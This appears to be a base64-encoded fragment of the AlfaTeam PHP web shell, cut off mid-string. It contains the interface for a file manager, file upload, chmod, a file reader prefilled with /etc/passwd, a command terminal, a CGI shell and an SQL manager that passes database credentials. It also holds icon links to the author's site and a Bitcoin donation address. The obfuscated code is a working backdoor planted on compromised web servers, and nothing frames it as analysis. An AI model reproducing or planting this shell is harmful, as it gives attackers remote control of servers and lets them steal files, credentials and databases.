VlPScgJz48L2Zvcm0+PC90ZD4KPHRkIHdpZHRoPScyMiUnPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsdGhpcy5kZWwudmFsdWUpO3RoaXMuZGVsLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkRlbGV0ZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2RlbCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMTklJz48Zm9ybSBvbnN1Ym1pdD1cImlmKHRoaXMuZi52YWx1ZS50cmltKCkubGVuZ3RoPT0wKXJldHVybiBmYWxzZTtlZGl0b3IodGhpcy5mLnZhbHVlLCdjaG1vZCcsJycsJycsJycsJ25vbmUnKTt0aGlzLmYudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2htb2QgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPXRleHQgbmFtZT1mIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD0nZyhcIkZpbGVzTWFuXCIsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2hhbmdlIERpciA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIGlkPSdmb290ZXJfY3dkJyB0eXBlPSd0ZXh0JyBuYW1lPSdjJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuIic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPHRkIGNvbHNwYW49JzInPjxmb3JtIG9uc3VibWl0PVwiZWRpdG9yKHRoaXMuZmlsZS52YWx1ZSwndmlldycsJycsJycsJycsJ2ZpbGUnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5SZWFkIEZpbGUgOiA8L3NwYW4+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZScgdmFsdWU9Jy9ldGMvcGFzc3dkJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBzdHlsZT0nbWFyZ2luLXRvcDogMTBweDsnIG9uc3VibWl0PVwicmV0dXJuIGZhbHNlO1wiIGF1dG9jb21wbGV0ZT0nb2ZmJz48c3Bhbj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkV4ZWN1dGUgOjwvc3Bhbj48YnI+PGJ1dHRvbiBvbkNsaWNrPSdhbGZhT3BlblBocFRlcm1pbmFsKCk7cmV0dXJuIGZhbHNlOycgY2xhc3M9J2Zvb3R0YWJsZSBhbGZhX2N1c3RvbV9jbWRfYnRuJz48aW1nIHN0eWxlPSd3aWR0aDoyOHB4O3ZlcnRpY2FsLWFsaWduOiBtaWRkbGU7JyBzcmM9J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS90ZXJtaW5hbC5zdmcnPiBUZXJtaW5hbDwvYnV0dG9uPjxicj48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0nNCc+PGZvcm0gb25zdWJtaXQ9J3UodGhpcyk7cmV0dXJuIGZhbHNlOycgbmFtZT0nZm9vdGVyX2Zvcm0nIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdGaWxlc01Bbic+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWpheCcgdmFsdWU9J3RydWUnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMScgdmFsdWU9J3VwbG9hZEZpbGUnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjaGFyc2V0JyB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+VXBsb2FkIGZpbGU6IDwvc3Bhbj48c3Bhbj48YnV0dG9uIGlkPSdhZGR1cCcgb25jbGljaz0nYWRkbmV3dXAoKTtyZXR1cm4gZmFsc2U7Jz48Yj4rPC9iPjwvYnV0dG9uPjwvc3Bhbj48cCBpZD0ncGZvb3RlcnVwJz48bGFiZWwgY2xhc3M9J2lucHV0ZmlsZScgZm9yPSdmb290ZXJ1cCc+PHNwYW4gaWQ9J19fZm5hbWV1cCc+PC9zcGFuPiA8c3Ryb25nPiZuYnNwOyZuYnNwO0Nob29zZSBhIGZpbGU8L3N0cm9uZz48L2xhYmVsPjxpbnB1dCBpZD0nZm9vdGVydXAnIGNsYXNzPSd0b29sc0lucCcgdHlwZT0nZmlsZScgbmFtZT0nZltdJyBvbkNoYW5nZT0naGFuZGxldXAodGhpcywwKTsnIG11bHRpcGxlPjwvcD48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PGRpdiBpZD0nYWxmYS1jb3B5cmlnaHQnPjxzcGFuIGNsYXNzPSdjb3B5cmlnaHQnPlsgLi9BbGZhVGVhbSAmY29weTsgMjAxMi0iLmRhdGUoJ1knKS4iIF08L3NwYW4+PGJyPjxzcGFuPjxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZXJ0KFwiQlRDOiAxS0x0eThMVXFucXNYa00zUWt2eTJLcHY0Z0x0N1VnY3lvXCIpOycgc3R5bGU9J2NvbG9yOiAjRTkxRTYzO3RleHQtZGVjb3JhdGlvbjogbm9uZTsnPkRvbmF0ZSBVcyAhPC9hPjwvc3Bhbj4gPHNwYW4gc3R5bGU9J2xldHRlci1zcGFjaW5nOiAycHg7Y29sb3I6ICNkZmZmMDA7Jz5zb2xldmlzaWJsZVthdF1nbWFpbC5jb208L3NwYW4+IDxzcGFuPjxhIHN0eWxlPSdjb2xvcjogI2ZmNjA2MDt0ZXh0LWRlY29yYXRpb246IG5vbmU7JyB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cHM6Ly90ZWxlZ3JhbS5tZS9zb2xldmlzaWJsZSc+QHNvbGV2aXNpYmxlPC9hPjwvc3Bhbj48L2Rpdj48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KCjxkaXYgaWQ9J29wdGlvbnNfd2luZG93JyBzdHlsZT0nYmFja2dyb3VuZDpyZ2JhKDAsIDAsIDAsIDAuNjkpOyc+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J29wdC10aXRsZSc+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRyb2xsZXInPjxkaXYgY2xhc3M9J2VkaXRvci1taW5pbWl6ZScgb25DbGljaz0nZWRpdG9yTWluaW1pemUoXCJvcHRpb25zX3dpbmRvd1wiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJvcHRpb25zX3dpbmRvd1wiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9J2hlaWdodDoxMDAlOycgY2xhc3M9J2NvbnRlbnRfb3B0aW9uc19ob2xkZXInPjxkaXYgY2xhc3M9J29wdGlvbnNfdGFiJz48L2Rpdj48ZGl2IGNsYXNzPSdvcHRpb25zX2NvbnRlbnQnIHN0eWxlPSdtYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDtvdmVyZmxvdzphdXRvOyc+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+Cgo8ZGl2IGlkPSdkYXRhYmFzZV93aW5kb3cnIHN0eWxlPSdiYWNrZ3JvdW5kOnJnYmEoMCwgMCwgMCwgMC42OSk7Jz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nb3B0LXRpdGxlJz5TcWwgTWFuYWdlcjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiZGF0YWJhc2Vfd2luZG93XCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImRhdGFiYXNlX3dpbmRvd1wiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2NvbnRlbnRfb3B0aW9uc19ob2xkZXInIHN0eWxlPSdtYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDttYXgtaGVpZ2h0OjkwJTsnPjxkaXYgY2xhc3M9J3NxbC10YWJzJz48L2Rpdj48ZGl2IGNsYXNzPSdzcWwtY29udGVudHMnIHN0eWxlPSdtYXgtaGVpZ2h0OiA4NXZoOyc+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+Cgo8ZGl2IGlkPSdjZ2lsb2FkZXInPjxkaXYgY2xhc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdvcHQtdGl0bGUnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiY2dpbG9hZGVyXCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImNnaWxvYWRlclwiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9J2NnaWZyYW1lJyBzdHlsZT0ncG9zaXRpb246cmVsYXRpdmU7bWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDsnPjxkaXYgY2xhc3M9J3Rlcm1pbmFsLXRhYnMnPjwvZGl2PjxkaXYgc3R5bGU9J2hlaWdodDo5MCU7JyBjbGFzcz0ndGVybWluYWwtY29udGVudHMnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdlZGl0b3InIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz48ZGl2IGNsYXNzPSdlZGl0b3Itd3JhcHBlcic+PGRpdiBjbGFzcz0nZWRpdG9yLWhlYWRlcic+PGRpdiBjbGFzcz0nZWRpdG9yLXBhdGgnPjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiZWRpdG9yXCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImVkaXRvclwiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgb25jbGljaz0naGlzdG9yeVBhbmVsQ29udHJvbGxlcih0aGlzKTsnIG1vZGU9J3Zpc2libGUnIGNsYXNzPSdoaXN0b3J5LXBhbmVsLWNvbnRyb2xsZXInPjw8PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWV4cGxvcmVyJz48ZGl2IGNsYXNzPSdoaGVhZGVyJz48ZGl2IGNsYXNzPSdoaXN0b3J5LWNsZWFyJyBvbmNsaWNrPSdjbGVhckVkaXRvckhpc3RvcnkoKTsnPkNsZWFyIGFsbDwvZGl2PjxkaXYgY2xhc3M9J2hoZWFkZXItdGV4dCc+SGlzdG9yeTwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1zZWFyY2gnPjxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBpZD0nc2VhcmNoLWlucHV0JyBwbGFjZWhvbGRlcj0nc2VhcmNoJz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdoaXN0b3J5LWxpc3QnPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1tb2RhbCc+PGRpdiBjbGFzcz0nZWRpdG9yLWJvZHknPjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50Jz48ZGl2IGNsYXNzPSdlZGl0b3ItdGFicyc+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnQtaG9sZGVyJz48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4KPGRpdiBpZD0ndXBkYXRlLWNvbnRlbnQnPjwvZGl2Pgo8ZGl2IGlkPSdkYXRhYmFzZV93aW5kb3ctbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiZGF0YWJhc2Vfd2luZG93XCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCcgc3R5bGU9J3RvcDogMTVweDsnPkRhdGFiYXNlPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J29wdGlvbnNfd2luZG93LW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcIm9wdGlvbnNfd2luZG93XCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDRweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+T3B0aW9uczwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdlZGl0b3ItbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiZWRpdG9yXCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDJweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+RWRpdG9yPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J2NnaWxvYWRlci1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJjZ2lsb2FkZXJcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PHNwYW4gY2xhc3M9J29wdGlvbnNfbWluX2JhZGdlJz4wPC9zcGFuPjxkaXYgc3R5bGU9J3RvcDogMTJweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+Q2dpIFNoZWxsPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J3JpZ2h0Y2xpY2tfbWVudSc+CiAgPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JycgbmFtZT0nbmV3dGFiJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9uZXd0YWIuc3ZnXCI+IE9wZW4gaW4gbmV3IHRhYjwvYT4KICA8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJyBuYW1lPSdsaW5rJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9saW5rLnN2Z1wiPiBPcGVuIGZpbGUgZGlyZWN0bHk8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgbmFtZT0nZG93bmxvYWQnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2Rvd25sb2FkMi5zdmdcIj4gRG93bmxvYWQ8L2E+CiAgPGEgaHJlZj0nJyBuYW1lPSd2aWV3Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS92aWV3LnN2Z1wiPiBWaWV3PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSd2aWV3X2FyY2hpdmUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3ZpZXcuc3ZnXCI+IFZpZXcgQXJjaGl2ZTwvYT4KICA8YSBocmVmPScnIG5hbWU9J2VkaXQnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2VkaXQuc3ZnXCI+IEVkaXQ8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwibW92ZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBocmVmPScnIG5hbWU9J21vdmUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L21vdmUuc3ZnXCI+IE1vdmU8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwiY29weVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBuYW1lPSdjb3B5Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jb3B5LnN2Z1wiPiBDb3B5PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFQb3B1cEFjdGlvbih0aGlzLCBcInJlbmFtZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0ncmVuYW1lJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9yZW5hbWUuc3ZnXCI+ICBSZW5hbWU8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwibW9kaWZ5XCIpOycgZnR5cGU9JycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdtb2RpZnknPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3RpbWUuc3ZnXCI+ICBNb2RpZnk8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwicGVybWlzc2lvblwiKTsnIG5hbWU9J3Blcm1pc3Npb24nPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2tleS5zdmdcIj4gQ2hhbmdlIFBlcm1pc3Npb25zPC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdjb21wcmVzcyc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvcmVzaXplLnN2Z1wiPiBDb21wcmVzczwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhU3luY01lbnVUb09wdCh0aGlzKTsnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nZXh0cmFjdCc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvaW5jcmVhc2Uuc3ZnXCI+IEV4dHJhY3Q8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgbmFtZT0nZGVsZXRlJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnXCI+IERlbGV0ZTwvYT4KPC9kaXY+CjxkaXYgaWQ9XCJmaWxlc21hbi10YWItZnVsbC1wYXRoXCI+PC9kaXY+CjxkaXYgaWQ9J2FsZXJ0LWFyZWEnIGNsYXNzPSdhbGVydC1hcmVhJz48L2Rpdj4KPGRpdiBjbGFzcz0nY2wtcG9wdXAtZml4ZWQnIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KCTxkaXYgaWQ9J3Nob3J0Y3V0TWVudS1ob2xkZXInPgoJCTxkaXYgY2xhc3M9J3BvcHVwLWhlYWQnPjwvZGl2PgoJCQk8Zm9ybSBhdXRvY29tcGxldGU9J29mZicgb25TdWJtaXQ9J3JldHVybiBmYWxzZTsnPgoJCQkJPGxhYmVsIGNsYXNzPSdvbGQtcGF0aC1sYmwnPjwvbGFiZWw+CgkJCQk8ZGl2IHN0eWxlPSdvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7JyBjbGFzcz0nb2xkLXBhdGgtY29udGVudCc+PC9kaXY+CgkJCQk8bGFiZWwgc3R5bGU9J21hcmdpbi10b3A6MTBweDsnIGNsYXNzPSduZXctZmlsZW5hbWUtbGJsJz5OZXcgZmlsZSBuYW1lPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmbmFtZSc+CgkJCQk8ZGl2IGNsYXNzPSdwZXJtLXRhYmxlLWhvbGRlcic+CgkJCQkJPHRhYmxlPgoJCQkJCSAgIDx0Ym9keT4KCQkJCQkgICAgICA8dHI+CgkJCQkJICAgICAgICAgPHRkPjxiPk1vZGU8L2I+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+VXNlcjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPkdyb3VwPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+V29ybGQ8L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5SZWFkPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1cicgdmFsdWU9JzQnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2dyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3InIHZhbHVlPSc0JyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+V3JpdGU8L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3V3JyB2YWx1ZT0nMicgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd3dycgdmFsdWU9JzInIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5FeGVjdXRlPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1eCcgdmFsdWU9JzEnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2d4JyB2YWx1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3gnIHZhbHVlPScxJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+UGVybWlzc2lvbjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3UnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwidVwiLCBbXCJ1XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J2cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwiZ1wiLCBbXCJnXCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwid1wiLCBbXCJ3XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgPC90cj4KCQkJCQkgICA8L3Rib2R5PgoJCQkJCTwvdGFibGU+CgkJCQk8L2Rpdj4KCgkJCTwvZm9ybT4KCQk8ZGl2IGNsYXNzPSdwb3B1cC1mb290Jz4KCQkJPGJ1dHRvbiBzdHlsZT0nYmFja2dyb3VuZDogIzJiNTIyNTsnIG5hbWU9J2FjY2VwdCcgYWN0aW9uPScnIG9uY2xpY2s9J2FsZmFQb3BVcERvQWN0aW9uKHRoaXMpOyc+PC9idXR0b24+CgkJCTxidXR0b24gc3R5bGU9J2JhY2tncm91bmQ6ICM5ZTJjMmM7JyBvbmNsaWNrPSdkLnF1ZXJ5U2VsZWN0b3IoXCIuY2wtcG9wdXAtZml4ZWRcIikuc3R5bGUuZGlzcGxheT1cIm5vbmVcIjsnPkNhbmNlbGw8L2J1dHRvbj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4iOz8+CjxzY3JpcHQ+CmZ1bmN0aW9uIGFsZmFNeXNxbEFwaShlLHQpe3ZhciBhPXtob3N0Om15c3FsX2NhY2hlW2UuZGJfaWRdLmhvc3QsdXNlcjpteXNxbF9jYWNoZVtlLmRiX2lkXS51c2VyLHBhc3M6bXlzcWxfY2FjaGVbZS5kYl9pZF0ucGFzcyxkYjplLmRiX3RhcmdldCxkYl9pZDplLmRiX2lkfTtpZihlLmhhc093blByb3BlcnR5KCJkYl9pbmZvIikpZm9yKHZhciBpIGluIGUuZGJfaW5mbylhW2ldPWUuZGJfaW5mb1tpXTt2YXIgbD17YTphbGZhYjY0KCJTcWxfbWFuYWdlcl9hcGkiKSxjXzphbGZhYjY0KGNfKSxhbGZhMTphbGZhYjY0KEpTT04uc3RyaW5naWZ5KGEpKX07aWYoZS5oYXNPd25Qcm9wZXJ0eSgicG9zdCIpKWZvcih2YXIgaSBpbiBlLnBvc3QuaGFzT3duUHJvcGVydHkoImFsZmEyIikmJiJsb2FkX2RhdGEiIT1lLnBvc3QuYWxmYTImJiJwYWdlIiE9ZS5wb3N